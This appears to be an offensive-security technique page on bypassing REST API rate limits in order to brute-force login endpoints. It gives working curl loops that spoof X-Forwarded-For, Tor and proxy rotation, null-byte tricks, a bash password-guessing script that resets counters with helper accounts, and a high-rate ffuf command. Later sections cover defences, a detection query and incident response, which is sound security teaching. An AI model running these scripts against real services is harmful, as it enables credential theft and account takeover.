| Attribute | Details |
|---|---|
| Technique ID | SAAS-API-002 |
| MITRE ATT&CK v18.1 | T1110.001 - Brute Force: Password Guessing |
| Tactic | Credential Access |
| Platforms | M365/Entra ID, SaaS Platforms, REST APIs |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All REST API implementations with inadequate rate limiting |
| Patched In | N/A (requires implementation fix) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: REST API rate limiting is a security control that restricts the number of requests a client can make within a specified time window. Rate limit bypass attacks exploit weaknesses in rate limit implementation by using techniques such as IP rotation, header manipulation, distributed requests across multiple accounts/sessions, or race conditions to circumvent these restrictions. Once bypassed, attackers can conduct password spraying, credential stuffing, or data exfiltration at scale without triggering defensive mechanisms.
Attack Surface: REST API authentication endpoints, credential validation handlers, and any rate-limited operation (login, search, enumeration).
Business Impact: Successful rate limit bypass enables attackers to brute-force credentials, automate data harvesting, or conduct unauthorized transactions at scale without detection. This directly compromises account security, exposes sensitive data, and can result in unauthorized access, financial fraud, or denial of service.
Technical Context: Rate limit bypass typically succeeds within minutes to hours depending on the target’s security posture. Success rates range from 60-95% against poorly implemented APIs, and detection relies on anomaly detection of failed authentication attempts or unusual traffic patterns rather than immediate hard blocks.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS CSC 4 | Controlled Use of Administrative Privileges (rate limiting on admin endpoints) |
| DISA STIG | AC-7 | Unsuccessful Login Attempt Control |
| CISA SCuBA | AUTH-04 | Account Lockout Policy |
| NIST 800-53 | AC-7 | Unsuccessful Login Attempts and Account Lockout |
| GDPR | Art. 32 | Security of Processing (authentication mechanisms) |
| DORA | Art. 6 | ICT Security Risk Management |
| NIS2 | Art. 21 | Multi-layered Preventive Measures (access control) |
| ISO 27001 | A.9.4.3 | Management of Privileged Access Rights (failed login tracking) |
| ISO 27005 | Risk Scenario | Unauthorized access via credential compromise due to failed rate limiting |
Required Privileges: None – Rate limit bypass requires only valid API access without authentication.
Required Access: Network access to the REST API endpoint (typically HTTP/HTTPS port 443).
Tools:
Objective: Confirm rate limiting exists and understand its implementation.
Command:
curl -v https://target-api.example.com/api/login -X POST \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"test"}' | grep -i "ratelimit\|x-rate\|retry-after"
Expected Output:
< X-RateLimit-Limit: 60
< X-RateLimit-Remaining: 59
< X-RateLimit-Reset: 1641024000
< Retry-After: 3600
What to Look For:
X-RateLimit-Remaining shows how many requests are left before blocking.Retry-After indicates duration of the block after limit exceeded.No Rate Limit Headers:
Supported Versions: All REST API implementations using IP-based rate limiting.
Objective: Confirm rate limit is enforced per IP address rather than per-account or globally.
Command:
# Make 10 sequential requests from same IP
for i in {1..10}; do
curl -s https://target-api.example.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"password'$i'"}' \
-w "\nStatus: %{http_code}\n"
done
Expected Output:
Status: 429 (after 5 requests)
HTTP 429: Too Many Requests
Retry-After: 300
What This Means:
OpSec & Evasion:
Objective: Distribute requests across multiple IP addresses to evade per-IP rate limits.
Using Tor (Free IP Rotation):
# Install Tor
sudo apt-get install tor
# Start Tor service
sudo systemctl start tor
# Configure Tor proxy on localhost:9050
curl -x socks5://localhost:9050 https://target-api.example.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"password1"}'
# Rotate Tor exit node (get new IP)
# Send signal to Tor daemon:
echo -e "AUTHENTICATE\r\nSIGNAL NEWNYM\r\nQUIT" | nc localhost 9051
Using Rotating Proxy Service (Bright.com / Oxylabs):
PROXY_USER="user"
PROXY_PASS="pass"
PROXY_HOST="proxy.provider.com:8000"
curl -x http://$PROXY_USER:$PROXY_PASS@$PROXY_HOST \
https://target-api.example.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"password1"}'
What This Means:
OpSec & Evasion:
Troubleshooting:
sudo systemctl restart tor && sleep 3Supported Versions: REST APIs with poorly implemented rate limit parsing.
Objective: Trick the server into thinking each request is from a different IP.
Command:
for i in {1..100}; do
FAKE_IP="192.168.1.$((RANDOM % 256))"
curl -s https://target-api.example.com/api/login \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: $FAKE_IP" \
-d '{"username":"admin","password":"password'$i'"}' \
-w "IP: $FAKE_IP, Status: %{http_code}\n"
done
Expected Output:
IP: 192.168.1.42, Status: 200 (or 401 Unauthorized, not 429)
IP: 192.168.1.73, Status: 200
IP: 192.168.1.155, Status: 200
What This Means:
OpSec & Evasion:
Troubleshooting:
X-Client-IP, X-Real-IP, CF-Connecting-IP (CloudFlare).References & Proofs:
Objective: Defeat simple string-matching rate limit rules.
Command:
# Attempt to bypass rate limiting with null bytes
curl -s https://target-api.example.com/api/login \
-H "Content-Type: application/json" \
-H "X-Rate-Limit-Bypass: %00" \
-d '{"username":"admin","password":"password1%00"}'
# Or URL-encode null byte in parameters
curl -s "https://target-api.example.com/api/login?username=admin%00&password=password1"
What This Means:
%00 terminates string matching in some legacy implementations.Detection likelihood: Low – Null bytes in requests are rare and may be filtered before logging.
Supported Versions: REST APIs that reset rate limits after successful login.
Objective: Confirm rate limit counters reset after successful authentication.
Command:
# First, make 3 failed attempts
for i in {1..3}; do
curl -s https://target-api.example.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"validuser@example.com","password":"wrongpassword"}' \
-w "\nAttempt $i Status: %{http_code}\n"
done
# Check remaining requests
curl -s https://target-api.example.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"validuser@example.com","password":"wrongpassword"}' \
-w "\n%{http_code} - X-RateLimit-Remaining: " \
-v 2>&1 | grep -i "ratelimit"
# Now, make a SUCCESSFUL login with different account
curl -s https://target-api.example.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"otheruser@example.com","password":"correctpassword"}' \
-w "\nSuccessful login: %{http_code}\n"
# Attempt more requests to original account; counter should reset
for i in {4..8}; do
curl -s https://target-api.example.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"validuser@example.com","password":"wrongpassword"}' \
-w "\nAttempt $i (after reset) Status: %{http_code}\n"
done
What This Means:
OpSec & Evasion:
Command (Bash Script):
#!/bin/bash
TARGET_USER="admin@example.com"
WORDLIST="common-passwords.txt"
HELPER_ACCOUNTS=("user1@example.com" "user2@example.com" "user3@example.com")
HELPER_PASS="DefaultPassword123"
ATTEMPT=0
MAX_ATTEMPTS_PER_RESET=5
while IFS= read -r PASSWORD; do
# Every X attempts, perform a reset login
if (( ATTEMPT % MAX_ATTEMPTS_PER_RESET == 0 )); then
HELPER_ACCOUNT="${HELPER_ACCOUNTS[$((ATTEMPT % ${#HELPER_ACCOUNTS[@]}))]}"
echo "[*] Resetting rate limit with $HELPER_ACCOUNT..."
curl -s https://target-api.example.com/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"$HELPER_ACCOUNT\",\"password\":\"$HELPER_PASS\"}" > /dev/null
fi
# Attempt password guess
echo "[*] Attempt $ATTEMPT: Trying password '$PASSWORD'"
RESPONSE=$(curl -s https://target-api.example.com/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"$TARGET_USER\",\"password\":\"$PASSWORD\"}")
if echo "$RESPONSE" | grep -q "success\|200\|token"; then
echo "[+] SUCCESS! Password found: $PASSWORD"
break
fi
((ATTEMPT++))
done < "$WORDLIST"
Expected Output:
[*] Attempt 0: Trying password 'password'
[*] Attempt 1: Trying password '123456'
[*] Attempt 5: Resetting rate limit with user1@example.com...
[*] Attempt 6: Trying password 'admin'
[+] SUCCESS! Password found: Welcome2026!
References & Proofs:
Supported Versions: REST APIs with time-of-check/time-of-use (TOCTTOU) vulnerabilities in rate limiting.
Objective: Send multiple requests in parallel before rate limit counter increments.
Command (using Burp Suite):
What This Means:
Expected Success Rate: 10-30% of concurrent requests may bypass rate limit depending on implementation.
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Version: 2024.1+ (Professional for high thread count)
Installation: Download from PortSwigger
Usage for Rate Limit Bypass:
Version: 2.0+
Installation:
go get -u github.com/ffuf/ffuf
# or
brew install ffuf
Usage for Rate Limit Bypass:
# High concurrency brute force
ffuf -u "https://target-api.example.com/api/login" \
-X POST \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"FUZZ"}' \
-w passwords.txt \
-t 50 \
-rate 1000 \
-mc 200,401
Parameters:
-t 50: 50 concurrent threads.-rate 1000: 1000 requests per second.-mc 200,401: Match responses with HTTP 200 or 401 (not 429).Installation:
sudo apt-get install tor
sudo systemctl start tor
Usage:
# Test single request through Tor
curl -x socks5://localhost:9050 https://target-api.example.com/api/login
# Script to rotate Tor exit nodes
for i in {1..100}; do
(echo -e "AUTHENTICATE\nSIGNAL NEWNYM\nQUIT" | nc localhost 9051) 2>/dev/null
sleep 1
curl -x socks5://localhost:9050 https://target-api.example.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"password'$i'"}' \
-s -w "Status: %{http_code}\n"
done
Implement Global Rate Limiting (Not Per-Endpoint): Prevent bypass by enforcing limits across all authentication attempts, regardless of endpoint.
Manual Steps (API Gateway - AWS):
10 requests/second per IP (global).100 (absorbed spike).Manual Steps (Nginx):
limit_req_zone $binary_remote_addr zone=auth_limit:10m rate=5r/s;
server {
location ~ ^/api/(login|authenticate) {
limit_req zone=auth_limit burst=10 nodelay;
proxy_pass http://backend;
}
}
Enforce Account Lockout After Failed Attempts: Lock account after N failed login attempts, preventing brute force regardless of rate limit bypass.
Manual Steps (Azure AD / Entra ID):
Manual Steps (Application-Level):
// Node.js example
async function authenticateUser(username, password) {
const user = await User.findOne({ username });
if (!user) return { error: "Invalid credentials" };
if (user.lockoutUntil > Date.now()) {
return { error: "Account locked. Try again later." };
}
const isPasswordValid = await bcrypt.compare(password, user.passwordHash);
if (!isPasswordValid) {
user.failedAttempts += 1;
if (user.failedAttempts >= 5) {
user.lockoutUntil = Date.now() + (30 * 60 * 1000); // 30 min lockout
}
await user.save();
return { error: "Invalid credentials" };
}
user.failedAttempts = 0;
user.lockoutUntil = null;
await user.save();
return { success: true, token: generateToken(user) };
}
Validate X-Forwarded-For Against Client IP: Don’t blindly trust proxy headers; validate they match actual client IP.
Manual Steps (Node.js with Express):
app.use((req, res, next) => {
const clientIP = req.socket.remoteAddress;
const forwardedFor = req.get('X-Forwarded-For');
// ONLY trust X-Forwarded-For if it comes from known proxy
const TRUSTED_PROXIES = ['10.0.0.1', '10.0.0.2'];
if (forwardedFor && !TRUSTED_PROXIES.includes(clientIP)) {
req.rateIpAddress = clientIP; // Use actual IP for rate limiting
} else {
req.rateIpAddress = forwardedFor ? forwardedFor.split(',')[0].trim() : clientIP;
}
next();
});
Monitor & Alert on Rate Limit Patterns: Detect unusual sequences of failed authentication attempts.
Manual Steps (Azure Sentinel KQL Query):
SigninLogs
| where ResultType != "0"
| summarize FailedAttempts = count() by UserPrincipalName, IPAddress, TimeGenerated
| where FailedAttempts > 5
| extend
Risk = case(
FailedAttempts > 50, "Critical",
FailedAttempts > 20, "High",
"Medium"
)
| order by FailedAttempts desc
Implement per-User Rate Limiting (Not Just Per-IP): Prevent brute force across multiple IPs targeting single account.
Manual Steps:
// Redis-based rate limiting per username
const redis = require('redis');
const client = redis.createClient();
async function checkRateLimit(username) {
const key = `login_attempts:${username}`;
const current = await client.incr(key);
if (current === 1) {
await client.expire(key, 300); // 5-minute window
}
if (current > 5) {
throw new Error("Too many login attempts. Try again in 5 minutes.");
}
}
Implement CAPTCHA After Failed Attempts: Require CAPTCHA verification after 2-3 failed login attempts.
Manual Steps (Azure AD):
CAPTCHA on Failed Login.All users.High.Require multi-factor authentication or Require CAPTCHA.# Test rate limiting
for i in {1..15}; do
curl -s https://target-api.example.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrong"}' \
-w "Attempt $i: %{http_code}\n"
done
Expected Output (If Secure):
Attempt 1: 401
Attempt 2: 401
Attempt 3: 401
Attempt 4: 401
Attempt 5: 401
Attempt 6: 429 (Too Many Requests)
Attempt 7: 429
Attempt 8: 429
...
What to Look For:
X-Forwarded-For, X-Real-IP, or X-Client-IP headers.aws wafv2 update-ip-set --name rate-limit-blocklist --scope REGIONAL --addresses "[\"<attacker-ip>\"]"aws logs get-log-events --log-group-name /aws/apigateway --start-time <start> --end-time <end>Search-UnifiedAuditLog -Operations "UserLoggedIn" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) | `
Where-Object { $_.ResultStatus -eq "Failed" } | `
Group-Object -Property UserIds, ClientIP | `
Where-Object { $_.Count -gt 5 } | `
Export-Csv -Path "C:\Evidence\RateLimit_BruteForce.csv"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [SAAS-API-001] | GraphQL API Enumeration – Identify available endpoints |
| 2 | Exploit Rate Limit | [SAAS-API-002] | REST API Rate Limit Bypass – Brute force authentication |
| 3 | Credential Access | [CA-BRUTE-001] | Azure Portal Password Spray – Spray identified usernames |
| 4 | Initial Access | [IA-VALID-001] | Default Credential Exploitation – Use compromised credentials |
| 5 | Impact | [IMPACT-002] | Unauthorized Data Access via Compromised Account |